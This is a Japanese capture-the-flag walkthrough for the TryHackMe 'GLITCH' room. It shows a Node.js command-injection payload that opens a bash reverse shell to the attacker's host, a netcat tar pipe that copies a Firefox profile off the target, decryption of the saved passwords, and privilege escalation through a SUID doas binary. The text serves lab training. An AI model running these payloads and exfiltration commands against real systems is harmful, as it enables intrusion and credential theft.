【TryHackMe】GLITCH：Walkthrough

# 概要

TryHackMe「GLITCH」のWalkthroughです。

https://tryhackme.com/r/room/glitch

# Task1

## **Q2**.*What is your access token?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.20.216 -oN nmap_result
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: not allowed
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|80|http|nginx 1.14.0|

`80`番ポートにアクセスします。

![index.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b3f71b0c-e608-6929-eccb-7e9828736ffa.jpeg)

ソースコードを確認すると`/api/access`パスを発見しました。

![index source.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/22cfce6f-50b7-df24-1587-1c6c33864a2c.jpeg)

`/api/access`にアクセスするとトークンが得られました。

```
$ curl http://10.10.3.63/api/access                    
{"token":"dGhpc19pc19ub3RfcmVhbA=="}
```

base64でデコードしてトークンを得ました。

```
$ echo "dGhpc19pc19ub3RfcmVhbA==" | base64 -d
this_is_not_real
```

**A**.**this_is_not_real**

## **Q3**.*What is the content of user.txt?*

**Hint**.*What other methods does the API accept?*

`/`へのHTTPリクエストを確認するとCookieにトークンをセットできます。

![root request.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a3c92f7c-b3e5-a20e-14eb-270431ea64e2.jpeg)

先ほど得たトークンを設定すると新しいページが表示されました。

![set cookie root.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/829ff01a-548f-4ca4-62e2-883570575320.jpeg)

ソースコードから`/js/script.js`を読み込んでいることが分かったので見ると、`/api/items`から画像データを取得しています。

![js file.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/42299e7b-41c6-89e7-b518-fa647cca353b.jpeg)

リクエストを送るとアイテム一覧を取得できました。

```
$ curl http://10.10.3.63/api/items 
{"sins":["lust","gluttony","greed","sloth","wrath","envy","pride"],"errors":["error","error","error","error","error","error","error","error","error"],"deaths":["death"]}
```

`OPTIONS`リクエストの結果から、POSTリクエストが許可されていると分かりました。

```
$ curl -X OPTIONS http://10.10.3.63/api/items
GET,HEAD,POST
```

POSTリクエストを送信するとメッセージが帰ってきました。

```
$ curl -X POST http://10.10.3.63/api/items
{"message":"there_is_a_glitch_in_the_matrix"}
```

リクエストパラメーターのファジングをします。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/dirsearch.txt -request-proto http -request post_request_fuzz -t 100
cmd                     [Status: 500, Size: 1081, Words: 55, Lines: 11, Duration: 244ms]
```

`cmd`パラメーターを介してRCEできそうです。
リクエストを送信するとエラーが返ってきました。

![rce error.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7afa063b-f1b4-09e9-4133-f72cdedd89a0.jpeg)

NodeJSで動いていそうなのでNodeJSのRCEペイロードを使用します。

https://blog.appsecco.com/nodejs-and-a-simple-rce-exploit-d79001837cc6

Netcatでリッスンします。

```
$ nc -lvnp 1234                                        
listening on [any] 1234 ...
```

リバースシェルのペイロードを送信し、シェルを張れました。

```
?cmd=require('child_process').exec('bash+-c+"bash+-i+>%26+/dev/tcp/10.6.55.144/1234+0>%261"')
```

```
$ nc -lvnp 1234                                        
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.3.63] 44674
bash: cannot set terminal process group (1386): Inappropriate ioctl for device
bash: no job control in this shell
user@ubuntu:/var/web$
```

TTYの設定をします。

```
$ python -c "import pty;pty.spawn('/bin/bash')"
```

`/home/user/user.txt`からユーザーフラグを入手できました。

```/home/user/user.txt
THM{i_don't_know_why}
```

**A**.**THM{i_don't_know_why}**

## **Q4**.*What is the content of root.txt?*

**Hint**.*My friend says that sudo is bloat.*

`/home/user`配下を確認すると`.firefox`が見つかりました。

```
$ ls -la
ls -la
total 48
drwxr-xr-x   8 user user  4096 Jan 27  2021 .
drwxr-xr-x   4 root root  4096 Jan 15  2021 ..
lrwxrwxrwx   1 root root     9 Jan 21  2021 .bash_history -> /dev/null
-rw-r--r--   1 user user  3771 Apr  4  2018 .bashrc
drwx------   2 user user  4096 Jan  4  2021 .cache
drwxrwxrwx   4 user user  4096 Jan 27  2021 .firefox
drwx------   3 user user  4096 Jan  4  2021 .gnupg
drwxr-xr-x 270 user user 12288 Jan  4  2021 .npm
drwxrwxr-x   5 user user  4096 Oct  4 04:32 .pm2
drwx------   2 user user  4096 Jan 21  2021 .ssh
-rw-rw-r--   1 user user    22 Jan  4  2021 user.txt
```

Netcatを使用してファイルをダウンロードします。
Kaliでリッスンします。

```
$ nc -nlvp 7777 | tar xf - 
listening on [any] 7777 ...
```

ターゲットマシン上から接続します。

```
$ cd .firefox
$ tar cf - . | nc 10.6.55.144 7777
```

`.firefox`ディレクトリ配下のファイルをダウンロードできました。

```
drwxr-xr-x  11 kali kali  4096 Jan 27  2021  b5w4643p.default-release
drwxr-xr-x   3 kali kali  4096 Jan 27  2021 'Crash Reports'
-rwxr-xr-x   1 kali kali   259 Jan 27  2021  profiles.ini
```

下記リポジトリツールを使用してパスワードを復号します。

https://github.com/unode/firefox_decrypt/tree/main

`v0id`のパスワードを得られました。

```
$ python firefox_decrypt.py ../b5w4643p.default-release 
2024-10-04 01:30:39,884 - WARNING - profile.ini not found in ../b5w4643p.default-release
2024-10-04 01:30:39,885 - WARNING - Continuing and assuming '../b5w4643p.default-release' is a profile location

Website:   https://glitch.thm
Username: 'v0id'
Password: 'love_the_void'
```

`v0id`アカウントへ昇格できました。

```
$ su v0id
su v0id
Password: love_the_void

v0id@ubuntu:/home/user/.firefox$
```

SUIDの検索をします。

```
$ find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/doas
(省略)
```

`/usr/local/bin/doas`を悪用して権限昇格できました。

```
$ /usr/local/bin/doas -u root /bin/bash
/usr/local/bin/doas -u root /bin/bash
Password: love_the_void

root@ubuntu:/tmp#
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
THM{diamonds_break_our_aching_minds}
```

**A**.**THM{diamonds_break_our_aching_minds}**